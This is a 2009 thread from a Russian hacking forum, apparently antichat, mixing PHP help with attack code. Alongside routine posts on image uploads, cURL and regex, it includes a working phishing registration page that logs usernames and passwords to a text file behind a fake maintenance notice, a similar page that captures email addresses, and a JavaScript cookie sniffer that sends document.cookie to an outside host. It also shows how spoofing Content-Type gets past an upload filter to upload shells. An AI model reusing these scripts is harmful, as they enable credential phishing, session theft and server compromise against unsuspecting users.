ребята памагите написать файк плиз, те мануалы что есть мне не тадходят так как они привязываются к определённому сайту, мне нужен скрипт каторый я ставлю просто на пустую страницу , скрипт регистрации с 4мя полями ввода, логит, парол, подтверждение пароля и емаил и кнопка отослать. при нажатии отослать, скрипт должен тупо сохронять данные в тхт файл и пасылать на страницу типа технические работы .
помогите плиз
спс заранее
<?
$form= <<<HTML
<form method="post">
Введите логин:
<input type="text" name="login" size="25" /><br>
Введите пароль:
<input type="text" name="pass" size="25" /><br>
Повторите пароль:
<input type="text" name="retry" size="25" /><br>
Введите e-mail:
<input type="text" name="email" size="25" /><br>
<input type="submit" value='окей' />
</form>
HTML;
if (isset($_POST['login']))
{
if ($_POST['login']!="" && $_POST['pass']!="" && $_POST['retry']!="" && $_POST['email']!="")
{
$login=$_POST['login'];
$pass=$_POST['pass'];
$retry=$_POST['retry'];
$email=$_POST['email'];
$file = fopen("log.txt", "a");
fwrite($file, "$login:$pass:$retry:$email\r\n");
echo "Техничесике проблемы";
}
else
{
echo "Что-то не введено";
echo $form;
}
}
else
echo $form;
?>
Какой файл создавать (куда убудут пистаься логи) и какие на него парва ставить, догадаешься.
что нужно прописать в htaccess чтобы xml файлы обрабатывались как xml а не как php?
http://htaccess.net.ru/doc/AddType-MIME/AddType.php
А XML разве по дефолту обрабатываются как PHP?
AddType text/xml .xml
Люди помогите решить задачу, как организовать загрузку картинок на какой-нибудь хост изображений, и после загрузки получить адрес этой картинки для последующего его использования на своем сайте???
Легко организовать с помощью курла, и я кстати такое видел на форуме
Люди помогите решить задачу, как организовать загрузку картинок на какой-нибудь хост изображений, и после загрузки получить адрес этой картинки для последующего его использования на своем сайте???
Ну так просто послать запрос на заливку, а потом спарсить полученную ссылку.
А XML разве по дефолту обрабатываются как PHP?
AddType text/xml .xml
у меня для всего сайта стоит обработка xml как php, а для определенной папки мне нужно чтобы обрабатывалось как xml
А пример реализации можно???
$idd='name'
$size_b=400; //ширина большого
$size_m=150; //ширина маленького
$caches_b=30; //качество сохранения большого
$caches_m=40; //качество сохранения маленького фото
$ssss=$_FILES["foto1"]["name"];
if ($_FILES["foto1"]["name"]=='') {
}else{
$file=$_FILES["foto1"]["tmp_name"];
$xa=1;
$file_new="../foto_big/$idd.jpg";
$res_k=1.5;//коэффициент деления ширины/высоты
$old_file_size=filesize($file);
$is=GetImageSize("$file");
$old_w=$is[0];
$old_h=$is[1];
$cdc=$old_w/$size_b;
$new_w=$size_b;
$new_h=$old_h/$cdc;
$img_old=imagecreatefromjpeg($file);
$img_new=imagecreatetruecolor($new_w,$new_h);
imagecopyresized($img_new,$img_old,0,0,0,0,$new_w,
$new_h,$old_w,$old_h);
imagejpeg($img_new, $file_new,$caches_b);
$cdc=$old_w/$size_m;
$new_w=$size_m;
$new_h=$old_h/$cdc;
$file_new="../foto_mini/$idd.jpg";
$img_old=imagecreatefromjpeg($file);
$img_new=imagecreatetruecolor($new_w,$new_h);
imagecopyresized($img_new,$img_old,0,0,0,0,$new_w, $new_h,$old_w,$old_h);
imagejpeg($img_new, $file_new,$caches_m);
$is_new=GetImageSize("$file_new");
$new_file_size=filesize($file_new);
$raznitca=$old_file_size/$new_file_size;
}
Вот как то делал загрузку на сервер картинок, мкрипт делает два файла один большой другой маленький ($res_k тут выставляеться во сколько раз меньше второй)
Pashkela
27.05.2009, 00:38
Люди помогите решить задачу, как организовать загрузку картинок на какой-нибудь хост изображений, и после загрузки получить адрес этой картинки для последующего его использования на своем сайте???
Давным-давно валяется, и не где-нибудь, а именно здесь, и именно в "Полезные скрипты", и не от кого-нибудь, а от ЕНОТ:
https://forum.antichat.ru/showpost.php?p=837324&postcount=431
Разуйте глаза:
<?php
/*
Пример загрузки файлов на сервер
*/
#Дира для загруженных файлов
$uploaddir = '';
#Разрешённые типы файлов (через запятую)
$types = 'jpeg,gif,png';
#Максимальный размер файла (в килобайтах)
$maxsize = 100;
if(!empty($_FILES)){
$maytypes = explode(',', str_replace(' ', '', $types));
foreach($maytypes as $maytype){
if(stristr($_FILES['filename']['type'], $maytype)){
$may = 1;
break;
}else{
$may = 0;
}
}
if($may){
if($_FILES['filename']['size'] <= $maxsize*1024){
$dir = './'.$uploaddir.'/'.basename($_FILES['filename']['name']);
if(copy($_FILES['filename']['tmp_name'], $dir)){
echo 'Файл успешно загружен.<br/>
Ссылка на файл: <a href="'.$uploaddir.'/'.$_FILES['filename']['name'].'">'.$_FILES['filename']['name'].'</a>';
}else{
echo 'Возникли ошибки при загрузке файла';
}
}else{
echo 'Размер файла превышает '.$maxsize.' килобайт';
}
}else{
echo 'Тип файла не входит в состав разрешённых<br/>Разрешённые типы файлов: '.$types;
}
}
?>
<form action="<?=$_SERVER['PHP_SELF']?>" method="post" enctype="multipart/form-data">
<input name="filename" type="file" /><br />
<input type="submit" value="Загрузить" />
</form>
<? $url = 'computers.rss'; //адрес RSS ленты
$xml = xml_parser_create(); //создаёт XML-разборщик
xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1); //устанавливает опции XML-разборщика
xml_parse_into_struct($xml, file_get_contents($url), $element, $index); //разбирает XML-данные в структуру массива
xml_parser_free($xml); //освобождает XML-разборщик
$count = 5; //число проходов цикла.
for ($i=1; $i < $count; $i++) { echo '<a href='.$element[$index["LINK"][$i+1]]["value"].'> <h1>'.$element[$index["TITLE"][$i+1]]["value"].'</h1> </a>'; //выводим на печать заголовок статьи
echo '<p>'.$element[$index["DESCRIPTION"][$i]]["value"].'</p>'; //выводим на печать текст статьи } ?>
нашел в инете парсер рсс ленты, ни кто не подскажет, как тут видно в переменную $url засылается локаьлный канал rss - computers.rss, почему то скрипт не работает когда я указываю на источник из вне, это проблемма решиться если я выложу сайт на хост?
Iceangel_
27.05.2009, 05:30
2 .:EnoT:. , Pashkela and all
Скажу немного не по теме, но возможно моя маленькая заметка убережет людей от потери информации на сервере... =)
if(stristr($_FILES['filename']['type'], $maytype)){
Чтобы обойти данную проверку, достаточно всего лишь изменить в пост пакете Content-Type с текущим значением, на Content-Type: image/gif, и можно грузить все что душе угодно, включая шеллы ;)
для этого я и писал ф-цию для заливки фоток ток она немного старая и код там немного ламерский ну ничё сойдёт ))) основное там в порядке =)
http://forum.antichat.ru/showpost.php?p=781805&postcount=4
Dr.Bodja
27.05.2009, 14:37
Есть php-скрипт, который считает хосты при посещении, никаких куков, и ява скриптов. Нужен скрипт, чтобы отправлять запрос эмулирующий браузер.
Вот как <?php
$fp = fsockopen ("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br>\n";
} else {
fputs ($fp, "GET / HTTP/1.0\r\nHost: www.example.com\r\n\r\n");
while (!feof($fp)) {
echo fgets ($fp,128);
}
fclose ($fp);
}
?>
Но без отображение этого сайта.
Есть php-скрипт, который считает хосты при посещении, никаких куков, и ява скриптов. Нужен скрипт, чтобы отправлять запрос эмулирующий браузер.
Вот как
Но без отображение этого сайта.
С помощью Curl можно так:
$cl = curl_init();
curl_setopt($cl, CURLOPT_URL, 'http://example.com');
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_HEADER, 1);
$ex = curl_exec($cl);
Если понадобится вывести страницу - в конец добавь
echo $ex;
Как можно самому создать ICQ гейт на хосте дли перехвата ICQ истории?
echo'1';
sleep(10);
echo'2';
sleep(10);
echo'3';
Скрипт через 20 секунд выдаёт "123"..
А можно как-нито средствами пхп выдать сначала "1", потом, через 10 сек. "2", и потом "3"..?!
Krist_ALL
27.05.2009, 18:01
можно.
<?php
set_time_limit(0);
ob_flush()
echo'1';
sleep(10);
echo'2';
sleep(10);
echo'3';
?>
но не факт, что будет работать - зависит от хостинга и от браузера
лучше юзай ajax для таких целей
Мне нужен такой скрипт, чтобы юзер зашедший на найст, увидел форму для ввода своего мыла, например для того чтобы продолжить, нужно ввести email адрес. Желательно форма на всю страницу, в и только в центре форма для ввода мыла.
з.ы и чтоб мыло где то у меня сохранялась ))
в кодинге слаб ;(
Желательно форма на всю страницу, в и только в центре форма для ввода мыла.
Как сие понимать? оО
Krist_ALL
27.05.2009, 19:24
1.php
<?php
@session_start();
if(isset($_POST['email']) and empty($_POST['email'])!=true)
{
$_SESSION['email'] =='ok';
$fh=fopen('emails.txt','a+');
$email = $_POST['email'];
fwrite($fh,"$email\n\n");
fclose($fh);
echo '<META HTTP-EQUIV="REFRESH" CONTENT="1;URL=2.php">';
}
else {
echo 'ENTER EMAIL<br><form action=1.php method=post><textarea name=email cols=100 rows=100><input type=submit></form>';
}
?>
2.php
<?php
@session_start();
if(isset($_SESSION['email']) and $_SESSION['email'])=='ok')
{ echo 'good!'; }
else { echo 'go to 1.php'; }
?>
Krist_ALL
спс большое, можно чтобы она имела примерно такой вид
http://i011.radikal.ru/0905/58/85b4f68c6268t.jpg (http://radikal.ru/F/i011.radikal.ru/0905/58/85b4f68c6268.jpg.html)
можно.
но не факт, что будет работать - зависит от хостинга и от браузера
лучше юзай ajax для таких целей
Сенкс..!! Заработало, правда только в фаерфоксе вот так:
<?php
set_time_limit(0);
flush();
echo '1';
ob_flush() ;
flush();
sleep(3);
echo '2';
ob_flush() ;
flush();
sleep(3);
echo '3';
?>
Но я вдруг понял что хочу не этого..(
Krist_ALL
27.05.2009, 22:06
1.php
<?php
@session_start();
if(isset($_POST['email']) and empty($_POST['email'])!=true)
{
$_SESSION['email'] =='ok';
$fh=fopen('emails.txt','a+');
$email = $_POST['email'];
fwrite($fh,"$email\n\n");
fclose($fh);
echo '<META HTTP-EQUIV="REFRESH" CONTENT="1;URL=2.php">';
}
else {
echo '<html><body bgcolor=black><br><br><br><center>ENTER EMAIL</center><br><center><form action=1.php method=post><textarea name=email cols=100 rows=100><input type=submit></form></center>';
}
?>
hors_de_prix
28.05.2009, 11:43
Отлично! Большое спасибо
вообщето лудче всего использовать уже готовые fake .
поищи на форуме я закидывал .
просмотри вдруг понравятся (одноклассники ,мыло.ру,рамблер ) и другие пользователи античата тож кидали много интерестных фейков ,их легко редактировать
Есь код:
<form action='test.php' method='POST'>
<tr><td align="right">Логин: </td><td><input type='text' name='login' size=20></td></tr>
<tr><td align="right">Пароль: </td><td><input type='text' name='pass' size=20></td></tr>
<tr><td></td><td><input type='submit' value='Сохранить'></td></tr>
<?php
if($_POST['login']) {
include("config.php");
$get=file_get_contents("config.php");
$save[0]=str_replace($login, $_POST['login'], $get);
$save[1]=str_replace($pass, $_POST['pass'], $get);
for ($x=0; $x<=2; $x++) {
$f=fopen("config.php", "w");
fwrite($f, $save[$x]);
fclose($f);
}
}
?>
Скрипт пишет в конфиг два значения. Он их заменяет, чтобы создавать видимость редактирования конфа, а не тупо дописывает в конце. Если писать один параметр, то все норм, но если два и более, то он тупо чистит файл, в который пишет. Если пытаться просто дописывать сверху, то все норм, но если ставить "w", то стирает весь файл. Я не могу понять почему... Спасибо :(
Krist_ALL
29.05.2009, 13:05
замени режим w на a+
Вот у меня возникла такая проблема с curl`лом,он в POST запросе непонимает спецсимволы когда через него шлёш,в частности знак +,вот по тому как я смотрел скрипты которые на нём работают,то многие непашут с етим символом,даже спамер от dx`а,как решить даную проблему?
Gaus, *******
Mixon, urlencode на параметры
Народ есть у кого нибуть скрипт анкета заявка ?
Вопрос по "цифрам, номерам".
Есть номера вида
9151515151
9631414114
9615411414
9614124312
9157175144
Так вот...
Мне нужно кинуть в файл только с $pref=array("915","914");
Как такое можно сделать?
Вопрос по "цифрам, номерам".
Есть номера вида
9151515151
9631414114
9615411414
9614124312
9157175144
Так вот...
Мне нужно кинуть в файл только с $pref=array("915","914");
Как такое можно сделать?
$numbers - номера
$numLen = count($numbers);
$result = array();
for($i = 1; $i <= $numLen; $i++) if(substr($numbers[$i],0,3) == 914 || substr($numbers[$i],0,3) == 915) $result[] = $numbers[$i];
дальше имплоидишь массив $result и пишешь в файл
$numbers - номера
$numLen = count($numbers);
$result = array();
for($i = 1; $i <= $numLen; $i++) if(substr($numbers[$i],0,3) == 914 || substr($numbers[$i],0,3) == 915) $result[] = $numbers[$i];
дальше имплоидишь массив $result и пишешь в файл
^^ то что я показал в массиве(array) - там 10 префов будет :(
Pashkela
30.05.2009, 01:39
Вопрос по "цифрам, номерам".
Есть номера вида
9151515151
9631414114
9615411414
9614124312
9157175144
Так вот...
Мне нужно кинуть в файл только с $pref=array("915","914");
Как такое можно сделать?
пример дурацкий, непонятно, что надо:
1. Если есть совпадение (частичное) с номерами из массива по строкам
2. Только полное, абсолютное совпадение с номерами из массива
А вообще:
<?php
$ipArray = array_map("trim", file("ip.txt"));
if( in_array($_SERVER['REMOTE_ADDR'],$ipArray) )
{
header('http/1.0 403 forbidden');
die("Доступ запрещен");
}
else
{
echo "Доступ есть";
}
?>
вот так можно проверять на совпадения из массива - тут - абсолютные совпадения
laedafess
30.05.2009, 01:40
$numLen = count($numbers);
$pref=array("915","914");
$result = array();
for($i = 1; $i <= $numLen; $i++) if(in_array(substr($numbers[$i],0,3),$pref)) $result[] = $numbers[$i];
пример дурацкий, непонятно, что надо:
1. Если есть совпадение (частичное) с номерами из массива по строкам
2. Только полное, абсолютное совпадение с номерами из массива
А вообще:
<?php
$ipArray = array_map("trim", file("ip.txt"));
if( in_array($_SERVER['REMOTE_ADDR'],$ipArray) )
{
header('http/1.0 403 forbidden');
die("Доступ запрещен");
}
else
{
echo "Доступ есть";
}
?>
вот так можно проверять на совпадения из массива - тут - абсолютные совпадения
Ну вот Есть база номеров
791414914
791241240
796351599
796123000
791410000
мне нужные номера начинающиеся
на "нужные" префиксы
к примеру 796
Скрипт кладёт в файл номера
796351599
796123000
Поняли? знаю , я плохо объясняю :(
Pashkela
30.05.2009, 02:18
Поняли:)
<?
@set_time_limit(0);
@ini_set("display_errors","1");
$array = array('796','926'); // Массив с нужными цифрами для отбора, пишутся в кавычках через запятую
$a = fopen('tema1.txt','r'); // Открываем файло для ЧТЕНИЯ базы номеров (там все твои номера)
$r = fopen('resultat.txt','w'); // Открываем файло для записи НУЖНЫХ результатов
while (!feof($a)) {
$b = trim(fgets($a));
if(in_array(substr($b,0,3),$array))
fwrite($r,"$b\r\n");
}
fclose($a);
fclose($r);
?>
Хочу сделать сниффер,но никак не получается =\ Отправляю его себе на мыло в формате .img но картинка не открывается. Из трёх попыток тока 1 раз куки пришли.
Может я что то не правильно понял объясните.
Вот сниффер.
<script>img = new Image(); img.src = "http://sniffer.xaknet.ru/userbars/img_4_1125.gif?"+document.cookie;
var URL = "http://sniffer.xaknet.ru/userbars/img_4_1125.gif"
var speed = 3000
function reload() {
document.location = URL
}
setTimeout("reload()", speed);
</script>
Как можно реализовать генератор определённой длины цифр ?
Пример: Нужен пароль только из цифр, длинной 10 символов
Как можно реализовать генератор определённой длины цифр ?
Пример: Нужен пароль только из цифр, длинной 10 символов
Вообще по идее так:
<?php
echo rand(1000000000, 9999999999);
?>
Но сейчас проверил - на первом месте всегда "1" получается...
Можно немного извратиться:
<?php
for ($i=0;$i<10;$i++)
{
$pass{$i} = rand(0,9);
}
$p = implode($pass);
echo $p;
?>
Чисто ради интереса, можно как то в массив заносить интервалы и одиночные число на пр:
$mass = array("24","7004","300..400","450");
erihtoney
30.05.2009, 15:07
Чисто ради интереса, можно как то в массив заносить интервалы и одиночные число на пр:
$mass = array("24","7004","300..400","450");
если уж извращаться, то можно и так
<?php
$range=range(1,999999);
echo $range[rand(1,999999)];
?>
Всем спасибо))
---
Ещё один вопрос: Как можно перевести текст из одной кодировки в другую ?
гугл только про MySQL пишет, а мне нужно простой текст перевести из одной в другую кодировку....
geforse http://php.net/iconv
erihtoney
30.05.2009, 15:34
<?php
$text="абв";
$text2=convert_cyr_string($text,w,k);
// из windows-1251 в koi8-r
// i (iso8859-5)
// a (X-CP866)
// m (X-MAC-Cyrillic)
echo $text2;
?>
Как сгенерировать сообщение фиксированного размера?
Пытаюсь так
$a="a";
$t=1024*1024;
for ( $i=0; $i<=$t; $i++)
{
$b=$b . $a;
}
echo $b;
но браузер ничего не выводит :(
$headers[] = 'Accept:image/png,image/*;q=0.8,*/*;q=0.5';
$headers[] = 'Accept-Language:ru,en-us;q=0.7,en;q=0.3';
$headers[] = 'Accept-Encoding:gzip,deflate';
$headers[] = 'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7';
$headers[] = 'Keep-Alive:300';
$headers[] = 'Content-Length: 88';
$headers[] = 'Proxy-Connection:keep-alive';
curl_setopt($ch, CURLOPT_URL, "САЙТ.ru");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "post_запрос");
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$res = curl_exec($ch);
Появляется ошибка:
411 Length Required :(
Я же вроде указал Content-Length: 88 ... что серверу ещё надо :confused:
wildshaman
30.05.2009, 17:23
Я же вроде указал Content-Length: 88 ... что серверу ещё надо :confused:
НЕ указывать контен ленгс)
НЕ указывать контен ленгс)
не помогает )
А как вобще можно высчитать Content-Length ?
по какой формуле ?)
wildshaman
30.05.2009, 17:32
не помогает )
А как вобще можно высчитать Content-Length ?
по какой формуле ?)
это длина пост-запроса
функции is_dir / is_file на win32 все время возвращают 0, тобиж не работают.. как можно узнать по другому папка или файл?
LEE_ROY Странно, но у меня все работает, попробуйте обрабатывать пути с помощью realpath, хотя опять таки - работает и без него
$a = opendir('.');
echo '<table>';
while ($one = readdir($a))
{
$one=realpath($one);
if (is_dir($one)) echo '<tr bgcolor="GREEN"><td>Directory<td>'.$one;
if (is_file($one)) echo '<tr bgcolor="RED"><td>File<td>'.$one;
}
спасибо, с realpath почему-то заработало, возможно бага в версии моего пыха - http://bugs.php.net/bug.php?id=31347 , да это и не суть важно теперь. )
Чисто ради интереса, можно как то в массив заносить интервалы (300..400) и одиночные число (24,7004,450) на пр:
$mass = array("24","7004","300..400","450");
кто ни будь знает ?
Pashkela
30.05.2009, 20:05
$mass[0] = '24';
$mass[1] = '7004';
$mass[2] = '300..400';
$mass[3] = '450';
REBUUS С помощью array_merge и range$mass = array(25,205);
$mass = array_merge($mass, range(300,400));
$mass = array_merge($mass, array(1,2,233,4));
спс, а так так вариант
$mass = array_merge('25','27', range(300,400), '46');
$pattern = '/(?:http)|(?:ftp):\/\/[a-z]*\.*/';
$text = "http://yandex.ru
ftp://site.com
https://lol.net
http://u.cn
telnet://awesome.de";
preg_match_all($pattern, $text, $matches, PREG_PATTERN_ORDER);
Ну поочемууу? Почему мне выдается только
[0] => http
[1] => ftp://site.
[2] => http
[3] => http
Т.е. надо вывести все ссылки с протоколом ftp или http
Vlad&slav
30.05.2009, 23:33
Подскажешь в чём ошибка?
$ip=trim($_SERVER['REMOTE_ADDR']); // адрес
if($ip==212.33.24.24) echo" Здравствуйте админ! <br>"
else {
echo '<br>
<br><center><strong>Ваш IP не администратора ! Вон отсюда!</strong></center>';
exit;}
Я знаю что написал бред но как сделать мою мысль??
И ещё если можно. подскажите как мне сделать чтобы у скрипта была база с IP (Простой текстовик ) в котором бы в столбик были записаны несколько IP администраторов.
Зарание спасибо)
k.sergey
30.05.2009, 23:36
Подскажите пожалуйста как получиться с помощью curl каптчу mail.ru. Получаю curlом страницу с регистрацией, а там на картинках 000, хотя если я открываю эту картинку в новом окне браузера там всё нормально показывается
Vlad&slav Кавычеги забыли
$ips = file('ip.txt',FILE_IGNORE_NEW_LINES);
if(in_array($_SERVER['REMOTE_ADDR'],$ips) || in_array($_SERVER['REMOTE_ADDR']."\r\n",$ips)) echo" Здравствуйте админ! <br>"
else {
echo '<br>
<br><center><strong>Ваш IP не администратора ! Вон отсюда!</strong></center>';
exit;}
Nek1t $pattern = '~(?:http|ftp)://([^/\r\n ]+)~msi';
$text = "http://yandex.ru
ftp://site.com
https://lol.net
http://u.cn
telnet://awesome.de";
preg_match_all($pattern, $text, $matches, PREG_PATTERN_ORDER);
Vlad&slav Кавычеги забыли
и точку с запятой:
$ips = file('ip.txt',FILE_IGNORE_NEW_LINES);
if(in_array($_SERVER['REMOTE_ADDR'],$ips) || in_array($_SERVER['REMOTE_ADDR']."\r\n",$ips)) echo" Здравствуйте админ! <br>";
else {
echo '<br>
<br><center><strong>Ваш IP не администратора ! Вон отсюда!</strong></center>';
exit;}
Vlad&slav
31.05.2009, 12:51
Большое спасибо)
Joker-jar
31.05.2009, 14:17
И ещё если можно. подскажите как мне сделать чтобы у скрипта была база с IP (Простой текстовик ) в котором бы в столбик были записаны несколько IP администраторов.
Создаешь файл, например ips.txt, туда вписываешь свои ipшники, потом читаешь файл:
$iparr = explode("\n", file_get_contents('ips.txt'));
сверяешь, например, так:
if (in_array($_SERVER['REMOTE_ADDR'], $iparr)) ...
.:EnoT:.
31.05.2009, 16:27
$iparr = explode("\n", file_get_contents('ips.txt'));
$iparr = file('ips.txt');
:)
Почему такой код работает нормально
$sock = fsockopen ("localhost", 660, $errno, $errstr,5);
if (!$sock)
{
echo("$errno($errstr)");
return;
}
fwrite($sock,"qwerty");
fclose ($sock);
А такой нет
$ip=getenv ("REMOTE_ADDR");
$sock = fsockopen ($ip, 660, $errno, $errstr,5);
if (!$sock)
{
echo("$errno($errstr)");
return;
}
fwrite($sock,"qwerty");
fclose ($sock);
??
Вопрос по поводу капчи:
на странице index.php есть форма с капчей
В скрипте курлом я захожу на эту страницу => Получаю капчу => Показываю её в скрипте => Ввожу и посылаю POST-запрос курлом в index.php
Принцип действия верен ? почему-то не выходит (
wildshaman
31.05.2009, 17:52
Вопрос по поводу капчи:
на странице index.php есть форма с капчей
В скрипте курлом я захожу на эту страницу => Получаю капчу => Показываю её в скрипте => Ввожу и посылаю POST-запрос курлом в index.php
Принцип действия верен ?
смотря куда капча сабмиттится, в этот же скрипт или нет. Смотри внимательнее в <form
geforse впринципе верен, не забывай тока про куки или хайден ключ какой нить для капчи
смотря куда капча сабмиттится, в этот же скрипт или нет. Смотри внимательнее в <form
в этот ... но что-то ни так
geforse впринципе верен, не забывай тока про куки или хайден ключ какой нить для капчи
помню)
И ещё вопрос:
В файрфоксе у меня два плагина для просмотра HTTP заголовков .... они замечательно работают, показывают все пост и гет запросы
Но например мои скрипты курлом шлют пост запрос (он нормально доходит и всё пашет), но в плагины мне не показывают этих запросов((
так и должно быть разве ?
тоесть если курлом шлёт мой скрипт пост запрос, плагин не показывает этого запроса
geforse не фф же шлет этот запрос а курл, т.е. пхп, если через браузер то апач средствами пхп
wildshaman
31.05.2009, 18:03
тоесть если курлом шлёт мой скрипт пост запрос, плагин не показывает этого запроса
да, у меня также.
Юзай снифаки другие.
geforse не фф же шлет этот запрос а курл, т.е. пхп...
Туплю))
какой самый актуальный снифер ?)
у мня бывало так, один раз оказалось что надо слать все хидеры типа keep-alive user-agent (очень удивлен был), еще бывает что форма типа form-urlencoded но это вроде не должно влиять, последний раз я таки не добил в чем трабла, хотя форма реги простейшая
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot